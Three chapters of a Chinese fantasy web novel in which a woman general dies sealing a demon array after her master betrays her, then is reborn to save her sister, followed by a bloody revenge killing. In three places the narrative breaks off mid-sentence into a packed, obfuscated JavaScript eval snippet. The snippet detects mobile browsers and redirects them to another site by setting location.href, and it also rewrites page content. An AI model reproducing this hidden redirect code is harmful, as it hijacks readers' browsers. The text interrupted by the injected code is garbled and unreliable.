《在逆天改命剧本里和魔尊he了(皎月引)》 1. 身死 隆冬十二月,天将暮,雪乱舞。 槐江山大阵是三界每一届当权者的心头大患,只因这里镇压着由世人妄念生出的恶鬼。 恶鬼一旦释出,吸收世人的无穷贪欲后只会愈发强大,最终凝成恶灵,生灵涂炭。 天道山月华殿中,人皇命下属匆匆来报:“槐江山大阵的封印……有了裂纹……” 季疏浅刚听完来报,秀气的眉头微微蹙起,槐江山大阵千年来都十分稳固,怎会出事? “小七。”一道庄严却极为悦耳的声音在大殿上响起,季疏浅猛然从思索中抬起头来看向声音的来源,琉璃珠帘后坐着一道若隐若现的身影,她微微颔首,已然在心中有了结论。 “师父,可是让小七前去?” 被她称作师父的人轻轻笑了两声,“小七啊,不怪他们说你聪慧识人心,此时大阵……” “我知道了。”季疏浅冷冷打断了他,眼中的神色晦暗不明。 毕竟她的阿姐和师叔已经不在了,她的家人也已经不在人世,即便是元日,于她而言也没什么区别…… 她微微勾起嘴角略带讽刺地笑笑,想来,她最亲近的人只剩下靖和军了。 槐江山位于人界洲与魔界洲的交界地带,漫天飞雪纷纷扬扬地落下,苍翠山色覆盖着皑皑白雪。 季疏浅照例领着自己一手带出来的两千靖和军,这支军队从她十七岁那年接手,陪她征战四方,陪她在十万修罗大军中杀出一条血路。 见证她从被别人质疑的小姑娘到如今统领八方军队的人界女战神,靖和军被她一手操练,合是所向披靡的利剑,分是各司其职的尖刃。 一身黑衣的女子立于山巅之上,一头墨发半束起,黑裙的裙边,袖袍用金线细细勾勒,在凛冽寒风中翻飞。 她身后两千的靖和军肃穆地立着等待她的号令,黑压压的军士严阵以待。 季疏浅飞身前去,大阵的阵眼是一道裂隙,像是一剑划破长虹割裂了大地。 她凑近看了看,不由得皱了皱眉头,阵眼此时隐隐有黑色瘴气冒出,有什么东西呼之欲出。 季疏浅隐隐觉得有什么不对,她沉着脸下令道:“结防御阵。” 随后她用手在虚空中一挥,一把泛着蓝色幽光的虚华剑落在她手中,剑身嗡鸣像是感应到了什么。 长剑出鞘的一瞬,槐江山的大地猛然颤抖,季疏浅往裂隙中一瞥暗暗道了声糟了。 裂隙在刹那间崩坏,无数道黑影涌出,天色墨染,恶鬼的叫声刺耳,一只只张牙舞爪地从裂缝中爬出。 恶鬼这种生物由世人恶念产生,世间恶念无穷,恶鬼便会无穷无尽,唯一的办法便是将恶鬼封印在大阵中。 季疏浅迅速分析了下形势,以他们两千的靖和军留在此地只能暂时拖延时间,为三界争得一线生机。 她微微皱起眉头,她只听说过千年前的酆都大帝生剖了一半内丹镇压住了这些恶鬼…… 她叹了口气,可是封阵一事仅她一人足够,靖和军留在此地只会是无谓的牺牲。 况且明日便是元日,靖和军中多是和她年龄差不多大的青年,也都有家人在等着回家团聚…… 思虑再三后,季疏浅下令:“你们都撤回。”此话一出,靖和军内小小的躁动了一会儿。季疏浅轻轻叹了口气:“这里我一人足够,现在我以主将的身份命令你们撤军,不从者,按军令处置。” 靖和军霎时沉默,季疏浅略有些无奈,嘴角却又不自觉挂起一抹浅笑。 也怪自己平时对他们太纵容了,练兵时都和他们以朋友相称,也和他们打打闹闹,这才惯的他们无法无天。 靖和军犹犹豫豫的撤军,正准备开启传送阵,突然间闪着亮光的传送阵牌灭了。 季疏浅凝起眉,发现四周的气场有些不同寻常的紊乱,她伸出手绕起点点荧光,一刹那神情冷若冰霜。 本该散乱自由流动的气场被无形的禁制束了起来,这意味着有人人为结了结界,将他们困在此地。 她沉了沉气,暂时结出一个结界阻挡恶鬼的侵入,然后在脑海里过了过会有此心害他们的人。人皇?他或许有此心,但绝没有解开封印的实力。那还会是谁? 突然季疏浅想到了什么,难以置信地晃了下身形,刚刚裂隙中的黑色瘴气,她从前分明是见过的——在师父的手上的冰翠镯中。 怎么会?师父他怎么会?季疏浅脑海一阵嗡鸣。 当年她拜入天道山,师父在众多弟子中选了自己做亲传弟子,教习她剑法,甚至将虚华神剑送给她…… 砰!砰!几声巨响,季疏浅来不及思索,抬眼望去结界,在恶鬼的撞击下已然出现了几道碎裂,她从腰间摸出以前南峰师叔送给她的护身玉符准备扔给靖和军。 “殿下,我们和您共进退,难道殿下眼里我们是贪生怕死之人吗?”说话的是靖和军的副将萧无虞,看他神情恐怕已经明白发生了什么事。 他神情严肃道:“况且殿下想要封上大阵,就必须接近阵眼。恶鬼数量太多,我们为殿下杀出一条路。” 身后的靖和军跟着附和,“对啊去年迎战修罗族时我们不就抱着必死的心去的嘛,这不也活着回来了,还赢得那么漂亮……” 季疏浅叹了口气,转过身去,她抿了抿唇,此刻有千言万语却也不知从何说起,最后都化为了一句“……好,与子同袍是我今生荣幸。” 季疏浅握了握剑柄,每每出征前,这个动作会给她所向披靡的勇气。 她执剑,将虚华剑往空中一抛,双手在胸前结了一个印,虚华剑的巨大虚影慢慢出现在她身后,她左手一转,刹那间,虚华剑分裂出万千把剑影,一时间剑气纵横,天空也随着剑气起舞,朵朵黑云渐渐泛起蓝光,天光破晓。 饶是靖和军在训练时见过他们的主将用这一招,也还是在使出来的那一刻呆住了。季疏浅一剑划破先前自己设下的结界,右手的食指和中指缓缓合拢,虚华剑的万千剑影带着隐隐闪电划破长空,精准的落在第一批涌上来的恶鬼身上。 萧无虞见此情形明白了她想要做什么,拿出传令牌下令:“拖延住恶鬼,给殿下创造封印的机会”,随即他想到离此最近的小镇就在山脚下,恶鬼以人类血肉为食,他又拿出传令牌补了一句:“绝不能让恶鬼离开此地!” 闻言季疏浅的神情柔和了一瞬,她第一次见到萧无虞,还是在军中考核他成了她的手下败将时。 萧无虞长她一岁,那时处处看不惯她,见她就说:“小妹妹你再练练吧,主将你肯定当不上。” 最终却又在比试中输给了她最后忍气吞声做了副将。本以为和他的磨合会有些困难,没想到短短五年,他便能如此明白自己的想法。 厮杀总是残酷,不一会儿雪地便沾染了点滴血红,恶鬼的数量太多,源源不断地从裂隙中涌出,季疏浅不得不分神和几只近身的恶鬼厮杀,她拿着虚华剑在手里挽了一个漂亮的剑花,翻身从一只想偷袭她的恶鬼身上越过,一剑准准的刺进恶鬼的内丹。 奈何恶鬼的数量太多,且恶鬼在释出后不断吸收世间恶念越发强大,原本的后背上进化出第三只第四只手。季疏浅在和一只恶鬼缠斗时,猛然被它背后刚长出的触手狠狠地勒住。 恍然间,她看见一个士兵被恶鬼的触手刺穿了身体,一个士兵不留神被咬掉了头颅…… 季疏浅被紧紧地缠着,眼眶微微发红,若隐若现的泪光闪着,她一反手割开了触手,刺向了恶鬼。 战场上生死是刹那间的事,这是季疏浅从十七岁起带兵便明白的事。 在去年与修罗的一战中她更是深有体会,原本四千多人的靖和军只回来了不到一半的人,如今的这些士兵们,已是在与修罗一战后留下来的幸运儿,却又是那么不幸。 一时间委屈,愤怒涌上心头。此时已过了几个时辰,消息传得如此快,想必三界洲都知晓了此事,可事到如今,无一人伸出援手,更坐实了她先前的猜想。 季疏浅在心中冷笑一声,魔族妖族就算了,她的存在对他们来说是威胁,是隐患。 可是人族,是她从小到大都拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746874|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了命去守护的人族,不惜离家多年在天道山修行去守护的人族,却也是这般弃他们于不顾吗? 越来越多的恶鬼涌了上来,越来越多的士兵们倒下了,季疏浅一边应付恶鬼,一边靠近阵眼,只有封印恶鬼才能停止伤亡。一只恶鬼的四条触手尝试着缠住季疏浅,她扬起虚华剑在空中划出两道残影斩断触手,趁恶鬼不注意时捅进它的内丹。 突然,季疏浅的余光瞥到了一旁的萧无虞,萧无虞正飞身上前拉开一位小将,却没料到身后一条尖锐触手直取他的内丹,她瞳孔一怔,将虚华从手中猛的甩出去斩断那触手,电光火石间,一抹鲜红从恶鬼的触手上滴落。 “萧无虞!”季疏浅没察觉自己的声音带上了一抹哭腔,她飞身过去,在看见萧无虞本应放着内丹的地方空空荡荡时愣了一瞬,将虚华往地上一插,正准备靠近的恶鬼瞬间化为齑粉。 “你还是比我厉害一点,别磨磨唧唧,快去封印大阵”萧无虞略带戏谑地说着,却在看见季疏浅发红的眼眶时愣了一瞬,他还想说点什么,却身形一晃,她赶忙扶住了他,颤抖着声音说:“你别说话,别说……” 萧无虞眼中的神采渐渐暗淡,冲她笑了笑:“小七啊,其实小时候我承认你比我厉害,就是我有点嘴硬,你别记着我那时候坏啊,也就想捉弄你两下……” 萧无虞渐渐没了声,季疏浅搂着他的头默了一瞬,缓缓的站起身,放眼望去,槐江山已被鲜血染红,一片片鲜血绽开,似雪地的红梅般夺目,恶鬼的残肢断臂满山遍布,靖和军的士兵尸首被后来的恶鬼瓜分,这场景称是人间炼狱也不为过。 她瞥到有几只恶鬼往山下奔去,而现在靖和军只剩下了十余人,还有源源不断的恶鬼冒出,季疏浅苦笑了一下,现在想她终于明白在她一剑刺死修罗王后,修罗王那句意味深长的话,“将来你的结局那都是你咎由自取。” 眼眶在不经意间被泪水沾湿,她记得带兵来之前,几个将士和她拉家常,年轻的小将笑眯眯地和她说:“殿下啊,我回家还能领到压岁钱哩。” 年龄稍长一些的也笑着说道:“好久没见到他们了,今年回去给他们做几套新衣,再做几个拿手菜……”被他们的氛围感染,季疏浅也跟着笑了笑。 思及此,季疏浅冷眼一抬,凌厉的眼神化作几道冰锋刺向恶鬼,她抓住机会飞奔向阵眼。 想起在很久以前师父曾若有所思地对她说:“小七啊,世间最厉害的杀器不是任何武器,而是以元神尽灭地代价打出的最后一击……”那时她没有看透他的神情,却觉得他透过自己在看另一个人。 她缓缓举起虚华,虚华见证了她一路的成长,她也该用虚华来做个了结。 她双眼一闭,猛地抬手扎进了自己内丹,一瞬间天光绽开,时间像是按下了暂停键。 槐江山上所有的恶鬼瞬间化为了齑粉,只留下满地绽开的鲜血。 季疏浅踉跄一步,喷出一口鲜血,她毫不在意地轻轻笑了下,抬手结了个阵,将虚华插进那道裂纹中,裂隙被蓝色星光缠绕,渐渐归于平静。 一瞬间大地归于宁静,墨色的天空褪去,季疏浅倒在了地上,鲜血濡湿了黑色的衣裙,她略带讽刺的笑了笑,想靖和军为人族赴汤蹈火,和修罗拼死一战,竟是如此草草收场,想她最后竟是被自己最信任的师父送上了绝路。 季疏浅缓缓闭上眼睛,一行热泪顺着脸颊滚落,只听见有人带着哭腔大喊道:“殿下……” 从小到大她都明白家国大义,她将这短短的一生都燃尽了……可最后呢,家人被打上通敌叛国的罪名,阿姐和师叔被害惨死却讨不来一个公道,并肩作战的靖和军被设计困死在槐江山…… 停了多时的雪纷纷扬扬地落下,漫天飞雪似是在默哀。 寒风在槐江山呼啸而过,吟诵着一首绝唱。一身白衣的翩翩公子执着一把红色纸伞缓缓走来,停在了黑衣女子的身旁,缓缓抱起了她已冰冷的身体…… 季疏浅感觉到浑身一阵酸痛,长长的睫毛颤了颤,睁开了眼。然后她愣住了,这是哪里? 2. 再回天道山 映入眼帘的是床榻上悬挂的银丝流苏,层层流苏似悬瀑垂下,流苏后一名女子的身影看不大真切。 季疏浅怔了怔,她不是自爆内丹了吗?正凝着眉思考时,一只纤细白皙的手拨开了流苏,女子悦耳如铃又带着浓浓关切的声音响起:“阿浅,醒了啊?还疼不疼?” 听到这声音,季疏浅猛的坐起身,差点撞上女子端来的药碗,女子反应极快,一侧身避开了,然后略带担心地看了看她,女子眸若星河,眼尾微挑,五官精致明媚,称得上是姝色无双。 “阿,阿姐?”季疏浅试探性的问了问。面前的女子是她已经香消玉殒的阿姐——林知意。 林知意笑了笑,在她一旁的床榻上坐下来,“阿浅啊,下回不许逞强知道吗,你看看你,把自己伤成什么样,来,把药喝了。”随即端起药碗,用勺子舀了一勺放到嘴边轻轻吹了吹。 在她说话时,季疏浅默然不语,明明阿姐死在了她十六岁那年,在替她去完成一桩任务时…… 可现在阿姐就笑盈盈地坐在她身侧,而她刚刚悄悄探了探自己的内丹居然完好无损,季疏浅恍然大悟,自己重生了! 面前伸来一支盛着褐色汤药的小勺,季疏浅愣了一瞬,一股酸涩的滋味涌上心头,她微微张了张嘴含下了这一小勺汤药,平日苦涩的汤药却索然无味。 阿姐从自己初来天道山就把自己当作了小妹妹来宠,那时的阿姐已经是天道山万人仰慕的圣女,别人口中冰清玉洁,不可沾染的圣女。 可只有季疏浅自己知道,阿姐会在她练功耍小脾气的时候耐心地劝她,会在她想家嚷着要回家的时候偷偷买来自己家乡的龙须酥…… 突然季疏浅想到了一些不好的回忆,眉头微不可察的皱了皱。 阿姐死在了她十六岁那年……替她去完成任务而死的。 当时季疏浅本该接连完成两项任务才能算考核通过,可在第一项任务完成过程中被妖兽英招偷袭身受重伤,昏迷不醒。 等再醒来时,阿姐提出了和她交换任务,任务难度相近她便同意了。谁知道一日后她便得到了阿姐替她完成任务时与妖族发生冲突,被万妖虐杀灰飞烟灭的消息。 这是她上一世不敢去回忆的一段记忆,在听到消息时她以为自己听错了,存着一丝侥幸,万一是他们弄错了人呢,阿姐那么厉害,怎么会?她依稀记得自己以最快的速度御着剑到了天道山之巅——星霜殿,什么都不顾地冲进了殿内。 “师父,那条消息是假的对不对?阿姐那么厉害,肯定不是她……”琉璃珠帘后一道白色身影发出了一声幽幽的长叹,一瞬间,季疏浅浑身僵住了,一双杏眼渐渐晕上了雾气…… 想到这里,季疏浅眼眶不禁漫上了一层淡淡的粉,林知意若有所查,伸手揉了揉她的脑袋。 “怎么了?是药太苦了吗?” 轻软和缓的声音在耳旁响起,季疏浅思绪回到现在,她扬起脸冲林知意尴尬笑了笑。 “没有,没有。” 林知意皱了皱眉但没有再多说什么,换了话题:“对了阿浅,你现在伤的这么重,下一个任务我先替你完成吧,你过意不去就当我们俩交换任务了……” “什,什么?换任务?”这一刻季疏浅明白了,自己刚好重生在阿姐替自己去完成任务前,或许是天道看不下去自己前世的遗憾太多,这一世给了她机会来改变一切。 她打直了背,扬起了一个标准的微笑。 “阿姐,我没什么事的,就是小伤,我自己去就行了……” 话还没说完,林知意打断了她,微微怒道:“你这叫小伤?怎么能这么不在乎自己身体呢?” 季疏浅想到每次阿姐微微发怒的时候,自己只要死皮赖脸抱着她,她就拿自己没有办法。 想着想着,季疏浅开始身体力行,她搬出自己的陈年演技,一双手像八爪鱼一样缠上了林知意的腰肢。 林知意看着贴上来的少女,不由得叹了口气,惯用伎俩可偏偏自己最吃这套。怀里的少女一双杏眼睁得圆圆的,嘟着粉粉的唇似含苞的桃花,小巧的脸蛋软软地倚在自己肩上。 瞅准了时机,季疏浅软软地开口:“阿姐我总不能事事都麻烦你,你实在不相信我们就去比比剑,我赢了你就答应让我去。” 闻言林知意蹙起眉头,沉吟了片刻开口道:“也不急这一时,你先休息两天再比。”听到她的这句话,季疏浅在心中偷笑了下,她就知道阿姐肯定不忍心让她现在就比,算准了阿姐会说这句话。 她笑吟吟地说了句好,林知意看了看她继续说道:“主峰那边还有些事,我先出去处理一下,一会回来。”季疏浅目送着那道白色窈窕身影消失,在心中默默盘算着。 两天的时间,足够她练练前世的剑法了。 况且在她醒来之时,体内似乎多了一道温润而磅礴的力量。 她凝神感受着这道力量,有些熟悉之感……似乎是封印槐江山大阵的力量。 既是重生而来,这股力量怎会伴随着她呢? 她也没有多想,以她前世的剑道和现在的阿姐打成平手轻轻松松,可是现在的她还做不到,得适应下前世的剑法了。 季疏浅单手撑着床沿,感受了下身体内气息的紊乱,垂下眼眸想到,英招长着马的身子,还长了一对鸟的翅膀,利爪狠狠偷袭向她的时候,她也的确反应过来了,奈何速度实在太快,剑还未来得及挡在身前,已被一爪拍到几里之外,狠狠撞上了崖壁。 她慢慢站起身踱步向屋外,目光所及,一座座山峰峻峭,丝带般的雾气缭绕,飞阁流丹,霞光披洒在山巅,山巅的宫殿泛着五彩的光芒,熠熠生辉。 不远处的三神山,三座宫殿悬浮于云端之上,朵朵云彩给宫殿蒙上了面纱,看不真切却令人心生向往。左右两座用琉璃紫晶石造成的宫殿分别是大家口中的南北二峰,分主军政两权。 而位居中间,用晶莹剔透的琉璃砌成的,雾气缭绕宛如一座飘渺仙境的那座宫殿便是月华殿——她的师父,天道山的掌权者容与上神的寝殿。 季疏浅自嘲地笑了笑,她刚来天道山时也和所有的弟子一样,对那神圣的三神山心生向往,站在山脚下的修道院中幻想有一天自己能立于那山巅,俯瞰群峰。 上一世她做到了,三神山只对极少数人开放,当她被命为八军总将时,当她成为人们口中的女战神时,顺理成章地搬了进去。 南峰主掌军事大权,而南峰下又学习人皇的中央设置两院,将统兵权和调兵权分开。 前世阿姐死后,她一度不敢相信,觉得真相一定不会是表面所见这样,她第一个怀疑的便是南峰的统兵院。 统兵院和调兵院自设置来便纠纷不断,甚至有流言说两院主管曾私下对对方下过死手,而阿姐的养父便是调兵院的南昊师叔。 她曾一度怀疑阿姐的死是统兵院的人的手笔,而在前世,她也的确在逼问一只梦魇妖的时候得到了一个消息——林知意在追查九尾妖狐行踪时,捡到了一小簇火红的狐狸毛,正在仔细辨别气息时,突然被一个冰蓝色的手镯铐住了手腕。 而据梦魇妖的口供,它当时只觉得那姑娘生的极美,适合作为引人入梦的素材,便一路跟踪了她,碰巧看到这一幕。 季疏浅自然也没怀疑这只梦魇妖,毕竟梦魇妖以梦为食,杀伤力和普通的草木妖没有区别——约等于零。 正当她想多问时,梦魇妖惨白的脸上突然蔓延出了一道道裂纹,如一个碎裂的陶瓷娃娃,刹那间化成点点荧光消散。 季疏浅愣住了,显然是幕后之人布局十分周全,将整件事的有关妖族全部下了死手,因为在她当年去苍野原时,发现了黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746875|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色峰林上一些不属于阿姐的剑道痕迹,尽管那人似乎伪装过了。 季疏浅承认那人的伪装很好,好的蛮过了南昊师叔派去调查的所有人。 可当她用手抚上那些痕迹时,伪装霎时碎裂。她太熟悉阿姐的剑道了,天道山所有人都说阿姐是冰美人,剑法招招致命。可只有她知道,阿姐的剑法锋芒中却不失柔和,明明是杀招,却有涓涓细流的柔意,阿姐会给每一个对手留□□面。 所以当她确定这些痕迹不是阿姐留下的后,整件事情变得清晰了起来,这是一盘精心设的局。 而当时她唯一确定的便是那梦魇妖口中的冰蓝色手镯,手镯的主人正是统兵院统帅之女上官楹,当年天道山选圣女时另一位呼声很高的候选人。 想到这里,季疏浅抿了抿唇,眼中的神色冷了几分。前世她在心中的猜想明了了几分后却没有立即找上官楹寻仇,以她对上官楹的了解,几年后的上官楹干得出这种事,但那时的上官楹绝对没有这个胆量。 设局之人或许另有其人,不过上官楹却给这个局完成地天衣无缝加了一把火。 季疏浅将手攥成拳头,紧紧地握了握,前世的她在阿姐死后消沉了好一段时间,连着一段时间没有练剑,甚至破了天道山禁酒的规矩,没日没夜的在和姐姐同住的殿中喝的酩酊大醉。 不过一段时间后,她渐渐接受了阿姐的离去,她会让害死阿姐的人血债血偿。 想到她和阿姐关系好天道山无人不知,幕后之人绝对会将她视为眼中钉,季疏浅就着自己一蹶不振的形象演了下去。 阿姐虽是南昊师叔的养女,可因着师母早逝,师叔膝下无子,便将阿姐视为己出。想到一名弟子的转述,她忍不住闭了闭眼。 林知意的离去让他心中多年的怒火一瞬间迸发,在一个月明星稀的夜晚,统兵院守殿的弟子们见到一身翠竹色衣袍,容貌清俊,一头墨发用一支纯净白玉簪子虚虚挽起,宛如谪仙的男子。 弟子们面面相觑,他们都知道统兵院和调兵院向来不和,连忙上去询问:“弟子见过殿帅,不知殿帅来此地何事啊。” 那名被称作殿帅的男子步履蹒跚了两步,似是醉酒之态,他抬眼瞥了他们一眼,吐出两个字:“滚开。” 弟子们不敢阻拦,只得放行,有几名识时务的弟子连忙御剑奔去南峰主殿汇报。 没有人知道那晚到底发生了什么,季疏浅只记得她得到消息后到了统兵院,原本泛着五彩光芒的琉璃瓦如今残破不堪,精致雕刻的凤凰纹屋檐碎了一地,屋内烈火熊熊燃着,满地尽是大片大片的鲜血,像绽开的朵朵彼岸花。 她一眼就看到火光中躺在血泊里的师叔,“师叔!”季疏浅大喊着奔了过去。 看到师叔身上的伤后她倒抽了一口凉气,翠绿色的衣衫被星星点点的鲜血沾染,而师叔的胸口有一个骇人的大窟窿,鲜血汩汩流出。 她笨拙的施术捂上那个大窟窿,却无济于事,一股一股的鲜血不断涌出。 沙漠中源源不断的清泉是来往旅人的希望,可师叔胸口源源不断流出的鲜血于她而言是痛入骨髓的绝望。 带血的手抚上脸颊想要擦掉大滴大滴的眼泪,可血与泪混了满脸。 师叔带着有些颤抖的声音开口:“阿浅……没用的,以后我和你阿姐护不住你了,走……离开天道山……走”,突然想到什么似的,在衣襟中颤抖着拿出一块洁白玉佩。 “这……这是护身玉……拿着……”渐渐地没了声音。 “师叔,师叔……不要啊,阿姐不要我了,您怎么也不要我了……”季疏浅搂着他的手止不住颤抖,哑着嗓子一遍一遍喊道师叔,可没有声音再应答她。 季疏浅闭着的双眼淌下一滴晶莹的泪珠,师叔让她走,她没有走……反而剑走偏锋,走了一条更无可救药的路。 3. 苍野原重演 自师叔死后,她展示给天道山的形象更加消沉,甚至几个极为看好她的长老私下都忍不住叹惋道:“这孩子本来在剑道上造诣极高,可惜了……” 人皇年号崇宁二年,元日,处处爆竹声响。 季疏浅立于殿前,看鹅毛般的大雪压在一株株翠竹上,远处座座山峰殿中皆透出暖暖的烛光,隐约有嬉笑声传来。 下雪了,真好啊,又是一年复一年。 小时候在家时她最喜欢的便是元日,在院中和家人看绚烂烟火,嚷着要一碗碗热气腾腾的粉果,最喜欢满嘴抹了蜜一样去讨一串串压岁钱,拉着爹爹的袍角撒着娇要新衣裙…… 后来来了天道山,那个喜欢元日的小姑娘的影子渐渐淡去,本以为再也不会体会到过年的喜悦,却又遇到了阿姐和师叔。 每到过年时,阿姐会张罗着给她买新衣裙,哪怕平时练剑穿不了,会偷偷拉着她易容下山买糖油果子,买糖画。甚至有一年他们也学着人间百姓在殿前贴上了春联,在殿中挂了几个格格不入的红灯笼,可她很喜欢。 师叔做得一手好菜,在她和阿姐堆雪人的时候便能闻到阵阵诱人香气传来。每年元日都会做上一大桌菜,香酥鸭,水晶肘子,油炸鹌鹑,云片火腿……每年都不重样。 就这样过了八年,她和阿姐师叔不是亲人却胜似亲人,却没有想过,离别会来的这样猝不及防…… 季疏浅嘴角挂着一抹浅笑,却又转瞬间消失,神情冰冷地转身进殿抽出了虚华剑。 演了一年多,该做个了结了。 此时的统兵院大殿中,传来女子悦耳的笑声…… 镂空雕花窗户投来浓浓暖光,鹅黄色衣裙的女子头上斜斜插着一只琉璃玉蝴蝶簪子,簪子上坠着一颗明珠,随着女子的笑阵阵轻摇。 女子是极为明艳的长相,一双微微上挑的明眸勾魂摄魄,嘴角挂起的笑容更增一分媚态。 上官楹酌了一小口酒,轻快的开口:“爹爹,你说林知意那个野种死了,今年重选神女是不是毫无疑问是我了。”说完,看了看自己右手上泛着幽幽蓝光的镯子,不自觉地笑了笑。 “铮”的一声响起,伴随着什么东西碎裂的轻响声,上官楹感觉殿内的氛围骤然冷了一瞬。 她愣了愣,有些迟钝的看向一反常态没有答她话的爹爹,刹那间僵住。 一柄通体银白的长剑穿透了上官逸的胸膛,剑间的鲜血滴答滴答地落下。上官逸似乎才反应过来发生了什么,有些不可思议的看向穿透自己胸膛的利剑,颤了颤开口。 “虚华···剑?” 上官楹惨叫了一声:“爹!”然后怒睁双眼,大喊道:“侍卫呢?人死哪里去了?” 殿门口传来女子轻轻的笑声,一个冷冰冰的声音骤然响起:“你的十八位侍卫均已被我卸了甲。” 似乎想到了什么有趣的事,女子饶有兴致的开口:“内丹碎裂的声音还挺好听的,是不是啊上官小姐。” 上官楹不可置信的看向殿前那道身影,季疏浅一身雪白衣裙立在门口,几乎要与门外的白雪融为一体。季疏浅一双杏眼清浅,像浸在冰雪里的琉璃,小巧的脸蛋虽未脱稚气却难掩容貌绝丽。 上官楹承认自己嫉妒过她们姐妹俩,一个是天道山公认的冰雪美人,一个是带着少女稚气的清丽容颜,两人都压她一头。 可此刻她来不及有其他想法,摸出镯子,僵硬的开口:“季疏浅,以下犯上,你可知这是死罪啊!” “死罪?”少女手腕一转,虚华应声稳稳落在她手中,“你与其来关心我,不如多关心关心你们俩。” 季疏浅横握着虚华,左手两指慢慢拭去剑身的血,勾起唇笑了笑。 突然面前蓝光一闪,季疏浅似乎早有所觉,剑锋一挥,带着缕缕闪电迎面刺了上去。 啪的一声脆响,镯子应声而碎,满地散着冰透镯子的碎片,清冽女声不可置信地响起:“冰灵镯?”然后猛的喷出一口鲜血,吃痛地捂住自己的胸口。 似乎突然想起什么,上官楹从袖中抽出一张符咒,瞥了一眼已然闭上双眼的上官逸,狠了狠心准备掐个诀,一道幽幽的声音响起:“这就想跑了?真是父女情深啊。” 季疏浅微闭双眼,剑身挽了个花,银剑猛然刺去。上官楹见状立马双手结印,却在一股排山倒海的剑气下瞬间碎裂,银剑没入胸膛。内丹霎时碎裂,面前的女子抽出了长剑,头也不回的离开了,留下了她寒冰般的声音。 “送你一个新年礼物——元日的爆竹声,应该很美妙吧。” 上官楹被疼痛充斥着,生命渐渐流逝,麻木的大脑没有明白她的意思。 季疏浅快步走向殿外,将手中的虚华向上空一抛,幻化出虚华神剑的巨大虚影,虚华剑像一条巨大银龙一样盘踞于天,天空响起不合时节的惊雷声,颇有山崩地裂之势。 白衣纷飞的女子长叹一口气,食指中指并拢,向下翻转。天空亮起点点莹白夹杂着道道闪电,长剑虚影劈下,宫殿一瞬崩裂,紫晶石的砖瓦碎了一地。 簇簇白雪落下,女子身影与雪地融为一体。 季疏浅静静地听着新年的爆竹声…… 好像大仇得报心中却没有一点喜悦,她没有家了…… 季疏浅本以为自己会是死罪,却没有想到大殿之上带着神性般温润的声音列出了统兵院违反规定,私自练兵等罪状,她的师父保下了她。 她还顺理成章的坐上了南峰主殿之位,在此之前,南峰主殿之位在统兵院,调兵院两位掌权者中徘徊。 思及此,季疏浅缓缓睁开了眼,既然天道给了她一次改写命运的机会,她一定不会重蹈覆辙,她一定竭尽所能护住相护之人。 季疏浅御剑飞至一块空旷草地,草地中长了星星点点的小花,这是她和阿姐一起练剑的地方。 两日后,手中的剑轻巧的挽了个剑花,季疏浅长舒一口气,她将上一世的招术练了一遍,包括一些剑走偏锋的招术。但一时间打赢阿姐肯定会惹她生疑,况且修行剑术不是一朝一夕的事,她也无法一时之间飞升到上一世的水平。 她擦了擦额头的汗水,露出一抹浅笑,摘下了衣袍下那个小小的传音铃——那是她和阿姐传音的东西。摇了摇,没有答复,她心想或许是阿姐有事呢。 约莫半个时辰后,传音铃突然晃了一下,季疏浅立马停下正舞着的剑,却听到传音铃传来一阵妖兽尖锐的叫声,以及女子一声吃痛的呻吟。 “阿姐!”季疏浅冲着铃铛大喊道,却无人应答,原本嘈杂的声音静了下来,传音铃没了动静。 怎么会,明明上一世阿姐不是这么早去的苍野原,怎么会提前。 不能让上一世的事重演,季疏浅立马御剑飞向苍野原。 苍野原立着大大小小的峰林,宛如一个迷宫,此时一块黑色的崖壁之下,女子靠在崖壁下大口喘着气,扯下一块裙摆,在左手的断肢处了缠了缠。 林知意本是按着计划追查那只逃脱的九尾妖狐,并将它抓回去就算任务完成。却没想到半路杀出来一个上官楹。 她还记得蒙着面的黑衣女子趁她不注意时将冰灵镯拷在了她手腕上,然后大笑着说:“林知意啊,真想看你被九尾妖狐撕碎的样子。”话音落下,上官楹从袖中扔出一张符咒化作一道黑烟逃走了。 冰灵镯是一件极其不起眼的神器,虽是神器,却远没有虚华杀伤力来的强,因此一直被作为护身神器。可极少有人知道,冰灵镯有一种极为特殊的能力,拷在普通修仙者手上时几乎能束缚住他的所有法力。 林知意大口喘着气,左手的断肢隐隐作痛,现在她法力被束了大半,连面对一只鼹鼠精时居然都只能靠肉身搏击。 林知意垂下眼看了看右手上套着的镯子嘲讽般的笑了笑,看了是铁了心要她命啊,这种神器都舍得留下给她了,然后眼中落寞一瞬,闭上了双眼。 突然空气传来一阵异香, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746876|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她猛地睁开眼,右手紧紧握住玄冰剑,环顾了一下四周,却并没有异样。 